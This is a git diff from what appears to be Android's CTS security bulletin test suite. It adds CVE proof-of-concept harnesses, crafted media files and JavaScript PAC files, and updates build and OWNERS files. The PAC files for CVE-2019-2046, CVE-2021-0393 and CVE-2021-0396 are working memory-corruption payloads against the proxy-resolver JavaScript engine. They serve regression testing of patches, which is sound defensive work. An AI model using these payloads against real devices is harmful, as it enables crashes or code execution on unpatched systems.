- <!-- Bulletin 2019-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2019-9362->/data/local/tmp/CVE-2019-9362" />
- <option name="push" value="CVE-2019-9308->/data/local/tmp/CVE-2019-9308" />
- <option name="push" value="CVE-2019-9357->/data/local/tmp/CVE-2019-9357" />
- <option name="push" value="CVE-2019-9313->/data/local/tmp/CVE-2019-9313" />
-
- <!--__________________-->
- <!-- Bulletin 2020-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2020-0069->/data/local/tmp/CVE-2020-0069" />
- <option name="append-bitness" value="true" />
- </target_preparer>
-
- <!-- The following tests hit either 32-bit or 64-bit, but not both. All tests in this -->
- <!-- section should take care to build either 32 bit or 64 bit binary, but not both. -->
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="cleanup" value="true" />
-
- <!-- Please add 32-bit binary tests below to avoid merge conflict -->
- <option name="push" value="CVE-2019-934732->/data/local/tmp/CVE-2019-9347" />
- <option name="push" value="CVE-2017-084032->/data/local/tmp/CVE-2017-0840" />
- <option name="push" value="CVE-2017-1324132->/data/local/tmp/CVE-2017-13241" />
-
- <!-- Please add 64-bit binary tests below to avoid merge conflict -->
-
-
- <option name="append-bitness" value="false" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/securitybulletin/OWNERS b/hostsidetests/securitybulletin/OWNERS
index 68945d3..28ce2a5 100644
--- a/hostsidetests/securitybulletin/OWNERS
+++ b/hostsidetests/securitybulletin/OWNERS
@@ -1,4 +1,5 @@
# Bug component: 36824
mspector@google.com
-samschumacher@google.com
manjaepark@google.com
+cdombroski@google.com
+lgallegos@google.com
diff --git a/hostsidetests/securitybulletin/res/cve_2015_6616.mp4 b/hostsidetests/securitybulletin/res/cve_2015_6616.mp4
new file mode 100644
index 0000000..716c942
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2015_6616.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_10244 b/hostsidetests/securitybulletin/res/cve_2016_10244
new file mode 100644
index 0000000..6f0fad7
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_10244
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_2485.raw b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
new file mode 100644
index 0000000..ee7c95a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_6328.mp4 b/hostsidetests/securitybulletin/res/cve_2016_6328.mp4
new file mode 100644
index 0000000..8813ef6
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_6328.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0697.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0697.mp4
new file mode 100644
index 0000000..ef300fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0697.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0726.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
new file mode 100644
index 0000000..2e30e91
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_13234.xmf b/hostsidetests/securitybulletin/res/cve_2017_13234.xmf
new file mode 100644
index 0000000..3c249fa
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_13234.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_1988.mp4 b/hostsidetests/securitybulletin/res/cve_2019_1988.mp4
new file mode 100644
index 0000000..cdff65b
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_1988.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_2046.pac b/hostsidetests/securitybulletin/res/cve_2019_2046.pac
new file mode 100644
index 0000000..82ef431
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_2046.pac
@@ -0,0 +1,27 @@
+function FindProxyForURL(url, host){
+ const f = eval(`(function f(i) {
+ if (i == 0) {
+ class Derived extends Object {
+ constructor() {
+ super();
+ ${"this.a=1;".repeat(0x3fffe-8)}
+ }
+ }
+
+ return Derived;
+ }
+
+ class DerivedN extends f(i-1) {
+ constructor() {
+ super();
+ ${"this.a=1;".repeat(0x40000-8)}
+ }
+ }
+
+ return DerivedN;
+ })`);
+
+ let a = new (f(0x7ff))();
+ a;
+ return "DIRECT";
+}
diff --git a/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4 b/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4
new file mode 100644
index 0000000..d8f7d4e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0213.hevc b/hostsidetests/securitybulletin/res/cve_2020_0213.hevc
new file mode 100644
index 0000000..f34f874
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0213.hevc
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt b/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt
new file mode 100644
index 0000000..0dde4a8
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt
@@ -0,0 +1,2 @@
+73 32 0
+304 0 33333
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0381.info b/hostsidetests/securitybulletin/res/cve_2020_0381.info
new file mode 100644
index 0000000..510c136
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0381.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0381.xmf b/hostsidetests/securitybulletin/res/cve_2020_0381.xmf
new file mode 100644
index 0000000..cbe4bbc
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0381.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0383.info b/hostsidetests/securitybulletin/res/cve_2020_0383.info
new file mode 100644
index 0000000..175c47c
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0383.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0383.xmf b/hostsidetests/securitybulletin/res/cve_2020_0383.xmf
new file mode 100644
index 0000000..921efe1
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0383.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0384.info b/hostsidetests/securitybulletin/res/cve_2020_0384.info
new file mode 100644
index 0000000..e74b507
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0384.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0384.xmf b/hostsidetests/securitybulletin/res/cve_2020_0384.xmf
new file mode 100644
index 0000000..5056ce3
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0384.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0385.info b/hostsidetests/securitybulletin/res/cve_2020_0385.info
new file mode 100644
index 0000000..f0d0459
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0385.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0385.xmf b/hostsidetests/securitybulletin/res/cve_2020_0385.xmf
new file mode 100644
index 0000000..6437f9e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0385.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0451.aac b/hostsidetests/securitybulletin/res/cve_2020_0451.aac
new file mode 100644
index 0000000..7b04e05
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0451.aac
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0470.mp4 b/hostsidetests/securitybulletin/res/cve_2020_0470.mp4
new file mode 100644
index 0000000..d77b2f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0470.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0393.pac b/hostsidetests/securitybulletin/res/cve_2021_0393.pac
new file mode 100644
index 0000000..42038b61
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0393.pac
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host) {
+ let s = String.fromCharCode(0x4141).repeat(0x10000001) + "A";
+ s = "'" + s + "'";
+ eval(s);
+ return "DIRECT";
+}
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0396.pac b/hostsidetests/securitybulletin/res/cve_2021_0396.pac
new file mode 100644
index 0000000..5677445
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0396.pac
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+ var evil_call = eval("(function(" + Array(65535).fill("x").join(",") + "){})");
+ f(evil_call());
+ return "DIRECT";
+}
+
+function f(){}
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp
index b145ce8..03e9154 100644
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "Bug-115739809",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.bp b/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.bp
index e3cc1df..700999c 100644
--- a/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "Bug-137878930",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp b/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp
index 9754423..3d44266 100644
--- a/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "Bug-38195738",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp
index ed60a1d..2c0206e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2012-6702",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp
index 0f770b3..439c139 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2014-3145",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp
index 756e6d2..c8d5dc5 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2014-9803",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp
index 7afaa2f..76485b6 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2015-1805",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
index 891c7ad..6f087cc 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
@@ -15,10 +15,6 @@
*
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2015-3873",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp
new file mode 100644
index 0000000..33d0680
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2015-6616",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ],
+
+ include_dirs: [
+ "frameworks/av/media/libdatasource/include",
+ "frameworks/av/media/libstagefright/include",
+ "cts/hostsidetests/securitybulletin/securityPatch/includes",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libutils",
+ "libmedia",
+ "libdatasource",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
new file mode 100644
index 0000000..8d175cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
@@ -0,0 +1,105 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <sys/types.h>
+#include <media/DataSource.h>
+#include <datasource/FileSource.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <android/IMediaExtractor.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MetaData.h>
+#include "../includes/common.h"
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+
+void * operator new(size_t size) {
+ if (size > 64 * 1024 * 1024) {
+ exit (EXIT_VULNERABLE);
+ }
+ return malloc(size);
+}
+
+using namespace android;
+
+int main(int argc, char **argv) {
+ (void) argc;
+ (void) argv;
+#if _64_BIT
+ GetExtractorDef getDef = nullptr;
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp < DataSource > dataSource = new FileSource(argv[1]);
+ if (dataSource == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void* creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void*) getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void*) getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc) creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+ new MediaExtractorCUnwrapper(ret);
+ MediaTrack* source = mediaExtractorCUnwrapper->getTrack(0);
+ if (source == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ source->start();
+
+ dlclose(libHandle);
+#endif /* _64_BIT */
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp
index 9aafbfe..3531cdb 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-0844",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp
index 875923e..4546546 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-10229",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp
new file mode 100644
index 0000000..28bb271
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2016-10244",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libft2",
+ ],
+ cflags: [
+ "-DCHECK_UNDERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp
new file mode 100644
index 0000000..ad8b6e0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp
@@ -0,0 +1,60 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdint.h>
+
+#include <ft2build.h>
+#include FT_FREETYPE_H
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ FILE *fp = fopen(argv[1], "rb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ fseek(fp, 0, SEEK_END);
+ size_t size = ftell(fp);
+ fseek(fp, 0, SEEK_SET);
+ if (size < 1) {
+ fclose(fp);
+ return EXIT_FAILURE;
+ }
+
+ uint8_t *data = new uint8_t[size];
+ if (!data) {
+ fclose(fp);
+ return EXIT_FAILURE;
+ }
+ (void)fread(data, sizeof(uint8_t), size, fp);
+ fclose(fp);
+ fp = nullptr;
+
+ FT_Library ftLib;
+ if (FT_Init_FreeType(&ftLib)) {
+ delete[] data;
+ return EXIT_FAILURE;
+ }
+
+ FT_Face ftFace;
+ FT_New_Memory_Face(ftLib, data, size, -33, &ftFace);
+
+ FT_Done_FreeType(ftLib);
+ delete[] data;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp
index 816b323..c3537f2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-2109",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2182/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2182/Android.bp
new file mode 100644
index 0000000..9a85317
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2182/Android.bp
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE-2016-2182",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libcrypto",
+ "libssl",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2182/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2182/poc.cpp
new file mode 100644
index 0000000..78e1e73
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2182/poc.cpp
@@ -0,0 +1,138 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include <string.h>
+#include <openssl/ssl.h>
+#include <openssl/crypto.h>
+#include <openssl/bn.h>
+#include <memory>
+#include "../includes/common.h"
+
+/** NOTE: These values are for the BIGNUM declared in kBN2DecTests and */
+/** must be updated if kBN2DecTests is changed. */
+#if _32_BIT
+#define ALLOCATION_SIZE 52
+static const int sMallocSkipCount[] = {1,0};
+#else
+#define ALLOCATION_SIZE 56
+static const int sMallocSkipCount[] = {0,0};
+#endif
+
+static const char *kTest =
+ "123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890";
+
+static int sCount = 0;
+static bool sOverloadMalloc = false;
+int loopIndex = 0;
+
+template<typename T>
+struct OpenSSLFree {
+ void operator()(T *buf) {
+ OPENSSL_free(buf);
+ }
+};
+
+using ScopedOpenSSLString = std::unique_ptr<char, OpenSSLFree<char>>;
+
+namespace crypto {
+template<typename T, void (*func)(T*)>
+struct OpenSSLDeleter {
+ void operator()(T *obj) {
+ func(obj);
+ }
+};
+
+template<typename Type, void (*Destroyer)(Type*)>
+struct OpenSSLDestroyer {
+ void operator()(Type* ptr) const {
+ Destroyer(ptr);
+ }
+};
+
+template<typename T, void (*func)(T*)>
+using ScopedOpenSSLType = std::unique_ptr<T, OpenSSLDeleter<T, func>>;
+
+template<typename PointerType, void (*Destroyer)(PointerType*)>
+using ScopedOpenSSL =
+std::unique_ptr<PointerType, OpenSSLDestroyer<PointerType, Destroyer>>;
+
+struct OpenSSLFree {
+ void operator()(uint8_t* ptr) const {
+ OPENSSL_free(ptr);
+ }
+};
+
+using ScopedBIGNUM = ScopedOpenSSL<BIGNUM, BN_free>;
+using ScopedBN_CTX = ScopedOpenSSLType<BN_CTX, BN_CTX_free>;
+} // namespace crypto
+
+static int DecimalToBIGNUM(crypto::ScopedBIGNUM *out, const char *in) {
+ BIGNUM *raw = nullptr;
+ int ret = BN_dec2bn(&raw, in);
+ out->reset(raw);
+ return ret;
+}
+
+void* (*realMalloc)(size_t) = nullptr;
+
+void mtraceInit(void) {
+ realMalloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+ return;
+}
+
+void *malloc(size_t size) {
+ if (realMalloc == nullptr) {
+ mtraceInit();
+ }
+ if (!sOverloadMalloc) {
+ return realMalloc(size);
+ }
+ if (size == ALLOCATION_SIZE) {
+ if (sCount >= sMallocSkipCount[loopIndex]) {
+ return nullptr;
+ }
+ ++sCount;
+ }
+ return realMalloc(size);
+}
+
+using namespace crypto;
+
+int main() {
+ CRYPTO_library_init();
+ ScopedBN_CTX ctx(BN_CTX_new());
+ if (!ctx) {
+ return EXIT_FAILURE;
+ }
+ for(loopIndex = 0; loopIndex < 2; ++loopIndex) {
+ ScopedBIGNUM bn;
+ int ret = DecimalToBIGNUM(&bn, kTest);
+ if (!ret) {
+ return EXIT_FAILURE;
+ }
+ sOverloadMalloc = true;
+ ScopedOpenSSLString dec(BN_bn2dec(bn.get()));
+ sOverloadMalloc = false;
+ if (!dec) {
+ return EXIT_FAILURE;
+ }
+ if (strcmp(dec.get(), kTest)) {
+ return EXIT_FAILURE;
+ }
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp
index 2788d97..09e360d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
